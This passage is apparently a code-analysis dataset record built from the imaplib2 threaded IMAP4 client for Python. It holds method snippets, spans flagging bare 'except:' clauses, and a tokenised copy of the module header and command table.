'___EOS___']", "index": 0 }, { "content": " def logout(self, **kw):\n \"\"\"(typ, [data]) = logout()\n Shutdown connection to server.\n Returns server 'BYE' response.\n NB: You must call this to shut down threads before discarding an instance.\"\"\"\n\n self.state = LOGOUT\n if __debug__: self._log(1, 'state => LOGOUT')\n\n try:\n try:\n typ, dat = self._simple_command('LOGOUT')\n except:\n typ, dat = 'NO', ['%s: %s' % sys.exc_info()[:2]]\n if __debug__: self._log(1, dat)\n\n self._close_threads()\n finally:\n self._release_state_change()\n\n if __debug__: self._log(1, 'connection closed')\n\n bye = self._get_untagged_response('BYE', leave=True)\n if bye:\n typ, dat = 'BYE', bye\n return self._deliver_dat(typ, dat, kw)", "metadata": "root.IMAP4.logout", "header": "['class', 'IMAP4', '(', 'object', ')', ':', '___EOS___']", "index": 877 }, { "content": " def _handler(self):\n\n resp_timeout = self.resp_timeout\n\n threading.currentThread().setName(self.identifier + 'handler')\n\n time.sleep(0.1) # Don't start handling before main thread ready\n\n if __debug__: self._log(1, 'starting')\n\n typ, val = self.abort, 'connection terminated'\n\n while not self.Terminate:\n\n self.idle_lock.acquire()\n if self.idle_timeout is not None:\n timeout = self.idle_timeout - time.time()\n if timeout <= 0:\n timeout = 1\n if __debug__:\n if self.idle_rqb is not None:\n self._log(5, 'server IDLING, timeout=%.2f' % timeout)\n else:\n timeout = resp_timeout\n self.idle_lock.release()\n\n try:\n line = self.inq.get(True, timeout)\n except queue.Empty:\n if self.idle_rqb is None:\n if resp_timeout is not None and self.tagged_commands:\n if __debug__: self._log(1, 'response timeout')\n typ, val = self.abort, 'no response after %s secs' % resp_timeout\n break\n continue\n if self.idle_timeout > time.time():\n continue\n if __debug__: self._log(2, 'server IDLE timedout')\n line = IDLE_TIMEOUT_RESPONSE\n\n if line is None:\n if __debug__: self._log(1, 'inq None - terminating')\n break\n\n if not isinstance(line, bytes):\n typ, val = line\n break\n\n try:\n self._put_response(line)\n except:\n typ, val = self.error, 'program error: %s - %s' % sys.exc_info()[:2]\n break\n\n self.Terminate = True\n\n if __debug__: self._log(1, 'terminating: %s' % repr(val))\n\n while not self.ouq.empty():\n try:\n qel = self.ouq.get_nowait()\n if qel is not None:\n qel.abort(typ, val)\n except queue.Empty:\n break\n self.ouq.put(None)\n\n self.commands_lock.acquire()\n for name in list(self.tagged_commands.keys()):\n rqb = self.tagged_commands.pop(name)\n rqb.abort(typ, val)\n self.state_change_free.set()\n self.commands_lock.release()\n if __debug__: self._log(3, 'state_change_free.set')\n\n if __debug__: self._log(1, 'finished')", "metadata": "root.IMAP4._handler", "header": "['class', 'IMAP4', '(', 'object', ')', ':', '___EOS___']", "index": 1662 }, { "content": " def _reader(self):\n\n threading.currentThread().setName(self.identifier + 'reader')\n\n if __debug__: self._log(1, 'starting using poll')\n\n def poll_error(state):\n PollErrors = {\n select.POLLERR: 'Error',\n select.POLLHUP: 'Hang up',\n select.POLLNVAL: 'Invalid request: descriptor not open',\n }\n return ' '.join([PollErrors[s] for s in PollErrors.keys() if (s & state)])\n\n line_part = b''\n\n poll = select.poll()\n\n poll.register(self.read_fd, select.POLLIN)\n\n rxzero = 0\n terminate = False\n read_poll_timeout = self.read_poll_timeout * 1000 # poll() timeout is in millisecs\n\n while not (terminate or self.Terminate):\n if self.state == LOGOUT:\n timeout = 10\n else:\n timeout = read_poll_timeout\n try:\n r = poll.poll(timeout)\n if __debug__: self._log(5, 'poll => %s' % repr(r))\n if not r:\n continue # Timeout\n\n fd,state = r[0]\n\n if state & select.POLLIN:\n data = self.read(self.read_size) # Drain ssl buffer if present\n start = 0\n dlen = len(data)\n if __debug__: self._log(5, 'rcvd %s' % dlen)\n if dlen == 0:\n rxzero += 1\n if rxzero > 5:\n raise IOError(\"Too many read 0\")\n time.sleep(0.1)\n continue # Try again\n rxzero = 0\n\n while True:\n stop = data.find(b'\\n', start)\n if stop < 0:\n line_part += data[start:]\n break\n stop += 1\n line_part, start, line = \\\n b'', stop, line_part + data[start:stop]\n if __debug__: self._log(4, '< %r' % line)\n self.inq.put(line)\n if self.TerminateReader:\n terminate = True\n\n if state & ~(select.POLLIN):\n raise IOError(poll_error(state))\n except:\n reason = 'socket error: %s - %s' % sys.exc_info()[:2]\n if __debug__:\n if not self.Terminate:\n self._print_log()\n if self.debug: self.debug += 4 # Output all\n self._log(1, reason)\n self.inq.put((self.abort, reason))\n break\n\n poll.unregister(self.read_fd)\n\n if __debug__: self._log(1, 'finished')", "metadata": "root.IMAP4._reader", "header": "['class', 'IMAP4', '(', 'object', ')', ':', '___EOS___']", "index": 1742 }, { "content": " def _reader(self):\n\n threading.currentThread().setName(self.identifier + 'reader')\n\n if __debug__: self._log(1, 'starting using select')\n\n line_part = b''\n\n rxzero = 0\n terminate = False\n\n while not (terminate or self.Terminate):\n if self.state == LOGOUT:\n timeout = 1\n else:\n timeout = self.read_poll_timeout\n try:\n r,w,e = select.select([self.read_fd], [], [], timeout)\n if __debug__: self._log(5, 'select => %s, %s, %s' % (r,w,e))\n if not r: # Timeout\n continue\n\n data = self.read(self.read_size) # Drain ssl buffer if present\n start = 0\n dlen = len(data)\n if __debug__: self._log(5, 'rcvd %s' % dlen)\n if dlen == 0:\n rxzero += 1\n if rxzero > 5:\n raise IOError(\"Too many read 0\")\n time.sleep(0.1)\n continue # Try again\n rxzero = 0\n\n while True:\n stop = data.find(b'\\n', start)\n if stop < 0:\n line_part += data[start:]\n break\n stop += 1\n line_part, start, line = \\\n b'', stop, (line_part + data[start:stop]).decode(errors='ignore')\n if __debug__: self._log(4, '< %r' % line)\n self.inq.put(line)\n if self.TerminateReader:\n terminate = True\n except:\n reason = 'socket error: %s - %s' % sys.exc_info()[:2]\n if __debug__:\n if not self.Terminate:\n self._print_log()\n if self.debug: self.debug += 4 # Output all\n self._log(1, reason)\n self.inq.put((self.abort, reason))\n break\n\n if __debug__: self._log(1, 'finished')", "metadata": "root.IMAP4._reader", "header": "['class', 'IMAP4', '(', 'object', ')', ':', '___EOS___']", "index": 1825 }, { "content": " def _writer(self):\n\n threading.currentThread().setName(self.identifier + 'writer')\n\n if __debug__: self._log(1, 'starting')\n\n reason = 'Terminated'\n\n while not self.Terminate:\n rqb = self.ouq.get()\n if rqb is None:\n break # Outq flushed\n\n try:\n self.send(rqb.data)\n if __debug__: self._log(4, '> %r' % rqb.data)\n except:\n reason = 'socket error: %s - %s' % sys.exc_info()[:2]\n if __debug__:\n if not self.Terminate:\n self._print_log()\n if self.debug: self.debug += 4 # Output all\n self._log(1, reason)\n rqb.abort(self.abort, reason)\n break\n\n self.inq.put((self.abort, reason))\n\n if __debug__: self._log(1, 'finished')", "metadata": "root.IMAP4._writer", "header": "['class', 'IMAP4', '(', 'object', ')', ':', '___EOS___']", "index": 1884 }, { "content": " def _print_log(self):\n self.debug_lock.acquire()\n i, n = self._cmd_log_idx, self._cmd_log_len\n if n: self._mesg('last %d log messages:' % n)\n while n:\n try:\n self._mesg(*self._cmd_log[i])\n except:\n pass\n i += 1\n if i >= self._cmd_log_len:\n i = 0\n n -= 1\n self.debug_lock.release()", "metadata": "root.IMAP4._print_log", "header": "['class', 'IMAP4', '(', 'object', ')', ':', '___EOS___']", "index": 1989 } ]
[ { "span": "except:", "start_line": 2558, "start_column": 4, "end_line": 2558, "end_column": 11 }, { "span": "except:", "start_line": 889, "start_column": 12, "end_line": 889, "end_column": 19 }, { "span": "except:", "start_line": 1712, "start_column": 12, "end_line": 1712, "end_column": 19 }, { "span": "except:", "start_line": 1807, "start_column": 12, "end_line": 1807, "end_column": 19 }, { "span": "except:", "start_line": 1871, "start_column": 12, "end_line": 1871, "end_column": 19 }, { "span": "except:", "start_line": 1900, "start_column": 12, "end_line": 1900, "end_column": 19 }, { "span": "except:", "start_line": 1996, "start_column": 16, "end_line": 1996, "end_column": 23 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "env", " ", "python_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "Thread", "ed", " ", "IMAP", "4", " ", "client", " ", "for", " ", "Pyth", "on", " ", "3", ".", "\\", "10", ";", "\\", "10", ";", "Base", "d", " ", "on", " ", "RF", "C", " ", "350", "1", " ", "and", " ", "original", " ", "imap", "lib", " ", "module", ".", "\\", "10", ";", "\\", "10", ";", "Public", " ", "classe", "s", ":", " ", " ", " ", "IMAP", "4", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "IMAP", "4", "\\u", "SS", "L", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "IMAP", "4", "\\u", "stream", "\\", "10", ";", "\\", "10", ";", "Public", " ", "function", "s", ":", " ", "Intern", "ald", "ate", "2", "Time", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "Pars", "e", "Fla", "gs", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "Time", "2", "Intern", "ald", "ate", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u", "all\\u\\u_", "=_", "(_", "\"", "IMAP", "4", "\"_", ",_", "\"", "IMAP", "4", "\\u", "SS", "L", "\"_", ",_", "\"", "IMAP", "4", "\\u", "stream", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Intern", "ald", "ate", "2", "Time", "\"_", ",_", "\"", "Pars", "e", "Fla", "gs", "\"_", ",_", "\"", "Time", "2", "Intern", "ald", "ate", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u", "version\\u\\u_", "=_", "\"", "3.0", "0", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u", "release", "\\u\\u_", "=_", "\"", "3", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u", "revision\\u\\u_", "=_", "\"", "00", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u", "credits\\u\\u_", "=_", "\"\"\"", "\\", "10", ";", "Auth", "entica", "tion", " ", "code", " ", "contribute", "d", " ", "by", " ", "Don", "n", " ", "Cav", "e", " ", "<", "don", "n", "@", "u", ".", "wash", "ing", "ton", ".", "edu", ">", " ", "Jun", "e", " ", "199", "8", ".", "\\", "10", ";", "String", " ", "method", " ", "conve", "rsi", "on", " ", "by", " ", "ESR", ",", " ", "Fe", "bru", "ary", " ", "200", "1", ".", "\\", "10", ";", "GET", "/", "SET", "ACL", " ", "contribute", "d", " ", "by", " ", "Ant", "hon", "y", " ", "Ba", "xter", " ", "<", "ant", "hon", "y", "@", "interl", "ink", ".", "com", ".", "au", ">", " ", "Apri", "l", " ", "200", "1", ".", "\\", "10", ";", "IMAP", "4", "\\u", "SS", "L", " ", "contribute", "d", " ", "by", " ", "Tin", "o", " ", "Lang", "e", " ", "<", "Tin", "o", ".", "Lang", "e", "@", "is", "g", ".", "de", ">", " ", "March", " ", "2002", ".", "\\", "10", ";", "GET", "/", "SET", "QUOTA", " ", "contribute", "d", " ", "by", " ", "Andre", "as", " ", "Ze", "idle", "r", " ", "<", "az", "@", "kre", "ativ", "kom", "bin", "at", ".", "de", ">", " ", "Jun", "e", " ", "2002", ".", "\\", "10", ";", "PROX", "YA", "UTH", " ", "contribute", "d", " ", "by", " ", "Ric", "k", " ", "Hol", "bert", " ", "<", "hol", "bert", ".1", "3", "@", "osu", ".", "edu", ">", " ", "Nove", "mber", " ", "2002", ".", "\\", "10", ";", "IDLE", " ", "via", " ", "thread", "s", " ", "suggested", " ", "by", " ", "Phil", "ipp", "e", " ", "Norm", "and", " ", "<", "phil", "@", "resp", "yre", ".", "org", ">", " ", "Januar", "y", " ", "2005", ".", "\\", "10", ";", "GET", "/", "SET", "ANNOTAT", "ION", " ", "contribute", "d", " ", "by", " ", "Tom", "as", " ", "Lin", "dro", "os", " ", "<", "ski", "tta", "@", "abo", ".", "fi", ">", " ", "Jun", "e", " ", "2005", ".", "\\", "10", ";", "COMPRESS", "/", "DEF", "LATE", " ", "contribute", "d", " ", "by", " ", "Bro", "n", " ", "Gon", "dwa", "na", " ", "<", "bro", "ng", "@", "bro", "ng", ".", "net", ">", " ", "Ma", "y", " ", "200", "9", ".", "\\", "10", ";", "START", "TLS", " ", "from", " ", "Jy", "tho", "n", "'", "s", " ", "imap", "lib", " ", "by", " ", "Ala", "n", " ", "Ken", "ned", "y", ".", "\\", "10", ";", "ID", " ", "contribute", "d", " ", "by", " ", "Dav", "e", " ", "Bag", "gett", " ", "<", "dav", "e", "@", "bag", "gett", ".", "org", ">", " ", "Nove", "mber", " ", "200", "9", ".", "\\", "10", ";", "Impro", "ved", " ", "unta", "gged", " ", "response", "s", " ", "handling", " ", "suggested", " ", "by", " ", "Dav", "e", " ", "Bag", "gett", " ", "<", "dav", "e", "@", "bag", "gett", ".", "org", ">", " ", "Nove", "mber", " ", "200", "9", ".", "\\", "10", ";", "Impro", "ved", " ", "thread", " ", "nami", "ng", ",", " ", "and", " ", "0", " ", "read", " ", "detect", "ion", " ", "contribute", "d", " ", "by", " ", "Grant", " ", "Ed", "ward", "s", " ", "<", "grant", ".", "b", ".", "ed", "ward", "s", "@", "gma", "il", ".", "com", ">", " ", "Jun", "e", " ", "2010", ".", "\\", "10", ";", "Impro", "ved", " ", "timeo", "ut", " ", "handling", " ", "contribute", "d", " ", "by", " ", "Iv", "an", " ", "Vo", "vne", "nk", "o", " ", "<", "ivo", "vne", "nk", "o", "@", "gma", "il", ".", "com", ">", " ", "Oct", "obe", "r", " ", "2010", ".", "\\", "10", ";", "Time", "out", " ", "handling", " ", "fur", "ther", " ", "improve", "d", " ", "by", " ", "Eth", "an", " ", "Gla", "sse", "r", "-", "Camp", " ", "<", "glass", "e", "@", "cs", ".", "rpi", ".", "edu", ">", " ", "Dece", "mber", " ", "2010", ".", "\\", "10", ";", "Time", "2", "Intern", "ald", "ate", "()", " ", "patch", " ", "to", " ", "match", " ", "RF", "C2", "060", " ", "specifica", "tion", " ", "of", " ", "Eng", "lish", " ", "month", " ", "names", " ", "from", " ", "bug", "s", ".", "python", ".", "org", "/", "issue", "1102", "4", " ", "March", " ", "2011", ".", "\\", "10", ";", "startt", "ls", "()", " ", "bug", " ", "fixed", " ", "with", " ", "the", " ", "help", " ", "of", " ", "Se", "bast", "ian", " ", "Spa", "eth", " ", "<", "se", "bast", "ian", "@", "ssp", "ae", "th", ".", "de", ">", " ", "Apri", "l", " ", "2011", ".", "\\", "10", ";", "Thread", "s", " ", "now", " ", "set", " ", "the", " ", "\"", "daemon", "\"", " ", "flag", " ", "(", "suggested", " ", "by", " ", "offline", "imap", "-", "project", ")", " ", "Apri", "l", " ", "2011", ".", "\\", "10", ";", "Sing", "le", " ", "quoting", " ", "introduce", "d", " ", "with", " ", "the", " ", "help", " ", "of", " ", "Vla", "dim", "ir", " ", "Mar", "ek", " ", "<", "vla", "dim", "ir", ".", "mar", "ek", "@", "oracle", ".", "com", ">", " ", "August", " ", "2011", ".", "\\", "10", ";", "Supp", "ort", " ", "for", " ", "speci", "fy", "ing", " ", "SS", "L", " ", "version", " ", "by", " ", "Ry", "an", " ", "Ka", "van", "ag", "h", " ", "<", "rak", "@", "debi", "an", ".", "org", ">", " ", "Ju", "ly", " ", "2013", ".", "\\", "10", ";", "Fix", " ", "for", " ", "gma", "il", " ", "\"", "read", " ", "0", "\"", " ", "error", " ", "provided", " ", "by", " ", "Ji", "m", " ", "Green", "leaf", " ", "<", "jam", "es", ".", "a", ".", "green", "leaf", "@", "gma", "il", ".", "com", ">", " ", "August", " ", "2013", ".", "\\", "10", ";", "Fix", " ", "for", " ", "offline", "imap", " ", "\"", "indexer", "ror", ":", " ", "string", " ", "index", " ", "out", " ", "of", " ", "range", "\"", " ", "bug", " ", "provided", " ", "by", " ", "Ey", "gene", " ", "Ry", "abi", "nk", "in", " ", "<", "rea", "@", "code", "labs", ".", "ru", ">", " ", "August", " ", "2013", ".", "\\", "10", ";", "Fix", " ", "for", " ", "missi", "ng", " ", "idle", "\\u", "lock", " ", "in", " ", "\\u", "handler", "()", " ", "provided", " ", "by", " ", "Frankl", "in", " ", "Bro", "ok", " ", "<", "fran", "kli", "n", "@", "bro", "ok", ".", "se", ">", " ", "August", " ", "2014", ".", "\\", "10", ";", "Conversion", " ", "to", " ", "Pyth", "on", "3", " ", "provided", " ", "by", " ", "F", ".", " ", "Mal", "ina", " ", "<", "fma", "lin", "a", "@", "gma", "il", ".", "com", ">", " ", "Fe", "bru", "ary", " ", "201", "5", ".", "\\", "10", ";", "Fix", " ", "for", " ", "READ", "-", "ONL", "Y", " ", "error", " ", "from", " ", "multiple", " ", "EX", "AMI", "NE", "/", "SELECT", " ", "calls", " ", "by", " ", "Pie", "rre", "-", "Lou", "is", " ", "Bon", "ico", "li", " ", "<", "pie", "rre", "-", "lou", "is", ".", "bon", "ico", "li", "@", "gm", "x", ".", "fr", ">", " ", "March", " ", "201", "5", ".", "\\", "10", ";", "Fix", " ", "for", " ", "null", " ", "string", "s", " ", "append", "ed", " ", "to", " ", "unta", "gged", " ", "response", "s", " ", "by", " ", "Pie", "rre", "-", "Lou", "is", " ", "Bon", "ico", "li", " ", "<", "pie", "rre", "-", "lou", "is", ".", "bon", "ico", "li", "@", "gm", "x", ".", "fr", ">", " ", "March", " ", "201", "5", ".", "\\", "10", ";", "Fix", " ", "for", " ", "correct", " ", "byte", " ", "encoding", " ", "for", " ", "\\u", "CRA", "M", "\\u", "MD", "5", "\\u", "AUTH", " ", "take", "n", " ", "from", " ", "python", "3.5", " ", "imap", "lib", ".", "py", " ", "Jun", "e", " ", "201", "5", ".", "\\", "10", ";", "Fix", " ", "for", " ", "correct", " ", "Pyth", "on", " ", "3", " ", "exception", " ", "handling", " ", "by", " ", "To", "bias", " ", "Bri", "nk", " ", "<", "tob", "ias", ".", "bri", "nk", "@", "gma", "il", ".", "com", ">", " ", "August", " ", "201", "5", ".", "\\", "10", ";", "Fix", " ", "to", " ", "allow", " ", "interrupt", "ibl", "e", " ", "IDLE", " ", "command", " ", "by", " ", "Tim", " ", "Pe", "opl", "es", " ", "<", "dro", "med", "ary", "512", "@", "users", ".", "sf", ".", "net", ">", " ", "Sept", "ember", " ", "201", "5", ".", "\\", "10", ";", "Add", " ", "support", " ", "for", " ", "TLS", " ", "level", "s", " ", "by", " ", "Ben", " ", "Bo", "eck", "el", " ", "<", "maths", "tuf", "@", "gma", "il", ".", "com", ">", " ", "Sept", "ember", " ", "201", "5", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u", "author\\u\\u_", "=_", "\"", "Pie", "rs", " ", "Lau", "der", " ", "<", "pie", "rs", "@", "jane", "eli", "x", ".", "com", ">\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u", "URL", "\\u\\u_", "=_", "\"", "http", "://", "imap", "lib", "2", ".", "sourcef", "org", "e", ".", "net", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u", "license\\u\\u_", "=_", "\"", "Pyth", "on", " ", "License", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "binascii_", ",_", "calendar_", ",_", "errno_", ",_", "os_", ",_", "queue_", ",_", "random_", ",_", "re_", ",_", "select_", ",_", "socket_", ",_", "sys_", ",_", "time_", ",_", "threading_", ",_", "zlib_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "select", "\\u", "module_", "=_", "select_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "Globals_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "CRL", "F_", "=_", "b", "'\\\\", "r", "\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "IMAP", "4", "\\u", "PORT_", "=_", "143_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "IMAP", "4", "\\u", "SS", "L", "\\u", "PORT_", "=_", "993", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "IDLE", "\\u", "TIME", "OUT", "\\u", "RESPONSE_", "=_", "b", "'*", " ", "IDLE", " ", "TIME", "OUT", "\\\\", "r", "\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "IDLE", "\\u", "TIMEOUT_", "=_", "60_", "*_", "29_", "#", " ", "Don", "'", "t", " ", "stay", " ", "in", " ", "IDLE", " ", "state", " ", "long", "er_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "READ", "\\u", "POLL", "\\u", "TIMEOUT_", "=_", "30_", "#", " ", "With", "out", " ", "this", " ", "timeo", "ut", " ", "interrupted", " ", "network", " ", "connections", " ", "can", " ", "hang", " ", "reader_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "READ", "\\u", "SIZE_", "=_", "32768_", "#", " ", "Consume", " ", "all", " ", "avail", "able", " ", "in", " ", "socket_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "DF", "LT", "\\u", "DEBU", "G", "\\u", "BUF", "\\u", "LV", "L_", "=_", "3_", "#", " ", "Leve", "l", " ", "above", " ", "whi", "ch", " ", "the", " ", "logg", "ing", " ", "output", " ", "go", "es", " ", "direct", "ly", " ", "to", " ", "stderr_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "TLS", "\\u", "SECU", "RE_", "=_", "\"", "tls", "\\u", "secure", "\"_", "#", " ", "Reco", "gni", "sed", " ", "TLS", " ", "levels_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "TLS", "\\u", "NO", "\\u", "SSL_", "=_", "\"", "tls", "\\u", "no", "\\u", "ssl", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "TLS", "\\u", "COMPA", "T_", "=_", "\"", "tls", "\\u", "compa", "t", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "All", "owe", "d", "Version", "s_", "=_", "(_", "'", "IMAP", "4", "REV", "1", "'_", ",_", "'", "IMAP", "4", "'_", ")_", "#", " ", "Mos", "t", " ", "recent", " ", "first_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "Commands_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "CMD", "\\u", "VAL", "\\u", "STATES_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "CMD", "\\u", "VAL", "\\u", "ASYN", "C_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "NON", "AUTH_", ",_", "AUTH_", ",_", "SELECTED", "_", ",_", "LOGO", "UT_", "=_", "'", "NON", "AUTH", "'_", ",_", "'", "AUTH", "'_", ",_", "'", "SELECTED", "'_", ",_", "'", "LOGO", "UT", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "Commands_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "name", " ", " ", " ", " ", "valid", " ", "state", "s", " ", " ", " ", " ", " ", "async", "hronous", "_", "\\u\\u\\uNL\\u\\u\\u_", "'", "APPEN", "D", "'_", ":_", "(_", "(_", "AUTH_", ",_", "SELECTED", "_", ")_", ",_", "False_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "AUTH", "ENTI", "CATE", "'_", ":_", "(_", "(_", "NON", "AUTH_", ",_", ")_", ",_", "False_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "CAPA", "BILITY", "'_", ":_", "(_", "(_", "NON", "AUTH_", ",_", "AUTH_", ",_", "SELECTED", "_", ")_", ",_", "True_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "CHECK", "'_", ":_", "(_", "(_", "SELECTED", "_", ",_", ")_", ",_", "True_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "CLOSE", "'_", ":_", "(_", "(_", "SELECTED", "_", ",_", ")_", ",_", "False_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "COMPRESS", "'_", ":_", "(_", "(_", "AUTH_", ",_", ")_", ",_", "False_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "COPY", "'_", ":_", "(_", "(_", "SELECTED", "_", ",_", ")_", ",_", "True_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "CREATE", "'_", ":_", "(_", "(_", "AUTH_", ",_", "SELECTED", "_", ")_", ",_", "True_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "DELET", "E", "'_", ":_", "(_", "(_", "AUTH_", ",_", "SELECTED", "_", ")_", ",_", "True_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "DELET", "EAC", "L", "'_", ":_", "(_", "(_", "AUTH_", ",_", "SELECTED", "_", ")_", ",_", "True_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "EX", "AMI", "NE", "'_", ":_", "(_", "(_", "AUTH_", ",_", "SELECTED", "_", ")_", ",_", "False_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "EXP", "UN", "GE", "'_", ":_", "(_", "(_", "SELECTED", "_", ",_", ")_", ",_", "True_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "FETCH", "'_", ":_", "(_", "(_", "SELECTED", "_", ",_", ")_", ",_", "True_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "GET", "ACL", "'_", ":_", "(_", "(_", "AUTH_", ",_", "SELECTED", "_", ")_", ",_", "True_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "GET", "ANNOTAT", "ION", "'_", ":_", "(_", "(_", "AUTH_", ",_", "SELECTED", "_", ")_", ",_", "True_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "GET", "QUOTA", "'_", ":_", "(_", "(_", "AUTH_", ",_", "SELECTED", "_", ")_", ",_", "True_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "GET", "QUOTA", "ROO", "T", "'_", ":_", "(_", "(_", "AUTH_", ",_", "SELECTED", "_", ")_", ",_", "True_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "ID", "'_", ":_", "(_", "(_", "NON", "AUTH_", ",_", "AUTH_", ",_", "LOGO", "UT_", ",_", "SELECTED", "_", ")_", ",_", "True_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "IDLE", "'_", ":_", "(_", "(_", "SELECTED", "_", ",_", ")_", ",_", "False_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "LIST", "'_", ":_", "(_", "(_", "AUTH_", ",_", "SELECTED", "_", ")_", ",_", "True_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "LOGIN", "'_", ":_", "(_", "(_", "NON", "AUTH_", ",_", ")_", ",_", "False_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "LOGO", "UT", "'_", ":_", "(_", "(_", "NON", "AUTH_", ",_", "AUTH_", ",_", "LOGO", "UT_", ",_", "SELECTED", "_", ")_", ",_", "False_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "LS", "UB", "'_", ":_", "(_", "(_", "AUTH_", ",_", "SELECTED", "_", ")_", ",_", "True_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "MY", "RIG", "HT", "S", "'_", ":_", "(_", "(_", "AUTH_", ",_", "SELECTED", "_", ")_", ",_", "True_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "NAMESPACE", "'_", ":_", "(_", "(_", "AUTH_", ",_", "SELECTED", "_", ")_", ",_", "True_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "NOO", "P", "'_", ":_", "(_", "(_", "NON", "AUTH_", ",_", "AUTH_", ",_", "SELECTED", "_", ")_", ",_", "True_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "PARTI", "AL", "'_", ":_", "(_", "(_", "SELECTED", "_", ",_", ")_", ",_", "True_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "PROX", "YA", "UTH", "'_", ":_", "(_", "(_", "AUTH_", ",_", ")_", ",_", "False_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "RENA", "ME", "'_", ":_", "(_", "(_", "AUTH_", ",_", "SELECTED", "_", ")_", ",_", "True_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "SEARCH", "'_", ":_", "(_", "(_", "SELECTED", "_", ",_", ")_", ",_", "True_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "SELECT", "'_", ":_", "(_", "(_", "AUTH_", ",_", "SELECTED", "_", ")_", ",_", "False_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "SET", "ACL", "'_", ":_", "(_", "(_", "AUTH_", ",_", "SELECTED", "_", ")_", ",_", "False_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "SET", "ANNOTAT", "ION", "'_", ":_", "(_", "(_", "AUTH_", ",_", "SELECTED", "_", ")_", ",_", "True_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", 